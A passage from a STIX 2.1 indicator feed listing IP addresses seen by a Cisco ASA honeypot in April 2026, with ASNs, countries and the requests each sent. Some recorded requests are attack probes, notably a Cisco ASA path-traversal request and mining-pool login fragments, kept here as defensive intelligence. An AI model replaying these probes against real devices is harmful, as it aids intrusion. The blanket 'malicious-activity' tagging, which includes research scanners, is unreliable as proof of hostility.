      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--d8724057-32e7-4cd8-83a6-3684eda92d30",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '98.81.156.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T01:20:11.000Z",
      "valid_until": "2026-05-04T01:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-02T00:54:45.373Z",
          "last_seen": "2026-04-02T00:54:45.373Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--416de91b-25d4-4c88-b7e5-89bd09c86a7c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '98.88.17.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T01:20:11.000Z",
      "valid_until": "2026-05-04T01:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-02T00:59:03.230Z",
          "last_seen": "2026-04-02T00:59:06.233Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T02:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: code 400 geo: HK; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--59bcdde5-88cb-44bd-a377-a39b287de6c0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '128.1.132.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T02:20:12.000Z",
      "valid_until": "2026-05-04T02:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 24,
          "first_seen": "2026-04-02T02:19:50.762Z",
          "last_seen": "2026-04-07T21:45:05.157Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "code 400",
            "\"\"id\":1",
            "\"\"params\": [\"miner1\"",
            "\"\"method\":\"login\""
          ]
        }
      }
    },
    {
      "created": "2026-04-02T02:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: NL; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--8f0b9b41-710b-49e6-981e-5bb25453ae51",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '188.166.104.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T02:20:12.000Z",
      "valid_until": "2026-05-04T02:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-02T01:58:37.239Z",
          "last_seen": "2026-04-02T01:58:45.277Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--33372c92-5734-43ef-be33-15762d16f1e2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T03:20:11.000Z",
      "valid_until": "2026-05-04T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-02T03:13:16.196Z",
          "last_seen": "2026-04-02T03:13:16.196Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--de6b5ab4-eb34-4fd7-af5b-d2efee7d8a19",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T03:20:11.000Z",
      "valid_until": "2026-05-04T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-02T03:13:15.445Z",
          "last_seen": "2026-04-02T03:13:15.445Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--050b4e0b-d205-4b13-980d-7613c8db13bc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T03:20:11.000Z",
      "valid_until": "2026-05-04T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-02T03:17:34.546Z",
          "last_seen": "2026-04-02T03:17:34.546Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--8e30c6b4-fa95-486d-857c-ab3f8696f84d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T03:20:11.000Z",
      "valid_until": "2026-05-04T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-02T03:15:19.060Z",
          "last_seen": "2026-04-02T03:15:19.060Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--003ec2c9-59f6-49f7-9ef8-9ddc53af2bc8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T03:20:11.000Z",
      "valid_until": "2026-05-04T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-02T03:15:19.381Z",
          "last_seen": "2026-04-02T03:15:19.381Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T03:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--3131330e-470b-4e1a-87c5-9df2d3181696",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T03:20:11.000Z",
      "valid_until": "2026-05-04T03:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-02T03:11:11.021Z",
          "last_seen": "2026-04-02T03:11:11.021Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T05:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--077052b5-b7b8-44a8-a15a-85153cf11193",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T05:20:05.000Z",
      "valid_until": "2026-05-04T05:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 11,
          "first_seen": "2026-04-02T05:16:53.230Z",
          "last_seen": "2026-04-02T05:22:18.615Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOT+/translation-table?type=mst&textdomain=/%2BCSCOE%2B/portal_inc.lua&default-language&lang=../ HTTP/1.1\" 404 - geo: CN; ASN 4837 (CHINA UNICOM China169 Backbone)",
      "id": "indicator--ad0f6494-60c7-4080-b52a-459a4dca34a6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '101.71.38.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T06:20:11.000Z",
      "valid_until": "2026-05-04T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-02T06:14:20.835Z",
          "last_seen": "2026-04-02T07:07:41.524Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4837,
          "as_org": "CHINA UNICOM China169 Backbone",
          "event_types": [
            "\"GET /+CSCOT+/translation-table?type=mst&textdomain=/%2BCSCOE%2B/portal_inc.lua&default-language&lang=../ HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--97828de1-62ff-4edf-8c34-885e9d8053fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T06:20:11.000Z",
      "valid_until": "2026-05-04T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-02T05:21:02.408Z",
          "last_seen": "2026-04-02T05:21:02.408Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--2bee6f36-d56b-4ac4-a763-156fc3df02ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T06:20:11.000Z",
      "valid_until": "2026-05-04T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-02T05:20:37.521Z",
          "last_seen": "2026-04-02T05:20:45.183Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: DE; ASN 207043 (Dedik Services Limited)",
      "id": "indicator--9602e298-d504-4eb4-b23a-400a280fea7f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.92.34.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T06:20:11.000Z",
      "valid_until": "2026-05-04T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-02T05:35:49.768Z",
          "last_seen": "2026-04-02T05:35:49.768Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 207043,
          "as_org": "Dedik Services Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--b79acbc7-568b-4207-add5-9c1da72277b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T07:20:10.000Z",
      "valid_until": "2026-05-04T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-02T06:33:47.153Z",
          "last_seen": "2026-04-02T06:33:50.156Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--0d772a6d-be07-4e03-a6dd-02d361fb3f7f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T10:20:11.000Z",
      "valid_until": "2026-05-04T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-02T09:53:46.164Z",
          "last_seen": "2026-04-02T09:53:46.164Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.0\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--72d4f91c-850f-468a-97e8-69ceee26db43",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T10:20:11.000Z",
      "valid_until": "2026-05-04T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-02T09:54:02.910Z",
          "last_seen": "2026-04-02T09:54:04.412Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.0\" 200 -",
            "\"GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0\" 404 -",
            "\"OPTIONS / HTTP/1.0\" - -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--fbec973d-914a-453e-91ef-c7ef50e971d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T10:20:11.000Z",
      "valid_until": "2026-05-04T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-02T09:35:05.006Z",
          "last_seen": "2026-04-11T00:58:31.071Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T11:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /?wsdl HTTP/1.1\" 404 - geo: SE; ASN 20473 (The Constant Company, LLC)",
      "id": "indicator--26ebb00b-fe67-4125-ac5e-c55fe155630b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.20.112.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T11:20:12.000Z",
      "valid_until": "2026-05-04T11:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-02T10:50:20.013Z",
          "last_seen": "2026-04-02T12:00:48.628Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 20473,
          "as_org": "The Constant Company, LLC",
          "event_types": [
            "\"GET /?wsdl HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: NL; ASN 202656 (Ivanov Vitaliy Sergeevich)",
      "id": "indicator--28ab2a82-b834-44cf-bbcf-698c16d7de71",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '130.49.47.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T15:20:11.000Z",
      "valid_until": "2026-05-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-02T14:40:55.206Z",
          "last_seen": "2026-04-02T14:41:12.677Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 202656,
          "as_org": "Ivanov Vitaliy Sergeevich",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-02T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--13c72fa1-1258-4d8e-bbd5-30d56bea1b62",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.249.239.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-02T15:20:11.000Z",
      "valid_until": "2026-05-04T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
